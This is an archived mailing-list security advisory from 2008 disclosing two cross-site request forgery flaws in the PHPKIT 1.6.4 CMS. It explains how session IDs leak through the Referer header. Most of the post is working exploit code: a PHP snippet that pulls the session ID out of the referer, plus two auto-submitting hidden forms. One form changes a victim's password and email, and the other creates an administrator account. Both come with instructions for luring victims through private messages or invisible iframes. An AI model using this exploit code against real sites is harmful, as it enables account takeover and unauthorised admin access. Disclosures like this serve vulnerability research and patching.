Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | PHPKIT 1.6.4 PL1 2 XSRF Vulnerabilities |
|---|---|
| Date: | Tue, 29 Jan 2008 17:14:34 +0100 |
###################################################################
PHPKIT 1.6.4 PL1 2 XSRF Vulnerabilites founded by NBBN
###################################################################
Vendor: http://www.phpkit.de/
PHPKIT sends in all link in the forum the sessionid via GET. So if an attacker
send a link to a victim, for example in a private message, he have the
sessionid if he filter the Referer:
*******************************************************************************************
<?php
*
$ref = $_SERVER['HTTP_REFERER']; // Here is the referer
*
$sid = substr($ref,strpos($ref,'PHPKITSID=')+10,32); // Now the atttacker
have the sessionid.
?>
*
*******************************************************************************************
::Vulnerabilites:
There are two vulnerabilities(there more XSRF, but the principle is the same)
1) Update User Profile XSRF (don't ask for current password)
2) Create an admin XSRF
1)
<?php
/*###################################################################################################################################
PHPKIT 1.6.4 PL1 Change User-Profile Vulnerability founded by NBBN. Founded
on 26th, January 2008.
#####################################################################################################################################
With this XSRF Exploit an attacker can change the profile of an user. PHPKIT
sends in all link in the cms the sessionid of the user. And in the profile,
don't ask for the old password, so we can change, if we have the sessionid
the users password, email etc.
But where we become the sessionid? This is easy, we must only filter the
referer and then submit the form.
Usage: Create a php file with this code, upload it and send a pm to the victim
with this link. If victim click -> profile updated. Better is to create a
site an then this code in a invisible iframe*/
$ref = $_SERVER['HTTP_REFERER']; // Here is the referer
$sid = substr($ref,strpos($ref,'PHPKITSID=')+10,32);
?>
<html>
<head></head>
<body onLoad="javascript:document.form.submit()">
<form
action="http://localhost/xampp/phpkit/upload_files/include.php?path=userprofile&mode=edit"
method="POST" name="form">
<input type="hidden" name="PHPKITSID" value=<?php $sid ?> > <!-- Here is our
sessionid getting from the referer -->
<input type="hidden" name="ud_nick" value="Admin"> <!-- Enter here the
victims username -->
<input type="hidden" name="ud_newpw1" value="Pw"> <!-- Define a new
password -->
<input type="hidden" name="ud_newpw2" value="Pw"><!-- Dito -->
<input type="hidden" name="ud_email" value="email@provider.tld"> <!-- Here you
can define a new e-mail address -->
<input type="hidden" name="ud_emailshow" value="1">
<input type="hidden" name="ud_sex" value="d">
<input type="hidden" name="user_bd_day" value="0">
<input type="hidden" name="user_bd_month" value="0">
<input type="hidden" name="user_bd_year" value="0">
<input type="hidden" name="ud_country" value="def">
<input type="hidden" name="ud_hpage" value="">
<input type="hidden" name="ud_aimid" value="">
<input type="hidden" name="ud_yim" value="">
<input type="hidden" name="ud_icqid" value="">
<input type="hidden" name="ud_usersig" value="">
<input type="hidden" name="ud_userqou" value="">
<input type="hidden" name="ud_userhobby" value="">
<input type="hidden" name="action" value="Speichern">
<input type="hidden" name="save" value="Speichern">
</form>
</body></html>
2) Create admin
IMPORTENT: This works only if the admin was logged in the admincp before he
click the link from the attacker.
<?php
$r = $_SERVER['HTTP_REFERER'];
$sid = substr($r,strpos($r,'PHPKITSID=')+10,32);
?>
<html>
<head>
</head><body onLoad=javascript:document.edituser.submit()>
<form name="edituser" method="post"
action="http://localhost/xampp/phpkit/upload_files/pk/include.php?path=useredit&editid=new"><input
type="hidden" name="PHPKITSID" value=<?php $sid ?> />
<input type="hidden" name="editid" value="new">
<input type="text" size="25" name="edit_name" value="OIW" maxlength="50"
class="w90" /> <!-- Username -->
<input type="text" size="25" name="edit_nick" value="OIW" maxlength="50"
class="w90" /> <!-- username-->
<input type="password" name="edit_password" size="25" class="w90"
value="Password" /> <!-- A password -->
<input type="hidden" name="edit_status" value="admin"> <!--
Status -->
<input type="hidden" name="edit_groupid" value="0">
<input class="checkbox" type="checkbox" name="edit_activate" value="1"
checked />
<input class="checkbox" type="checkbox" name="edit_profillock" value="1" />
<input type="text" size="25" name="edit_email" value="mail@mail.tld" > <!--
Email -->
<input type="hidden" name="edit_notify" value="1" /></td>
<input type="hidden" name="action" value="Speichern" />
<input type="hidden" name="save" value="Speichern">
</form>
</body></html>
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | Nucleus 3.31 XSS in path, Digital Security Research Group |
|---|---|
| Next by Date: | Remote File Disclosure in phpCMS 1.2.2, Digital Security Research Group |
| Previous by Thread: | Nucleus 3.31 XSS in path, Digital Security Research Group |
| Next by Thread: | Remote File Disclosure in phpCMS 1.2.2, Digital Security Research Group |
| Indexes: | [Date] [Thread] [Top] [All Lists] |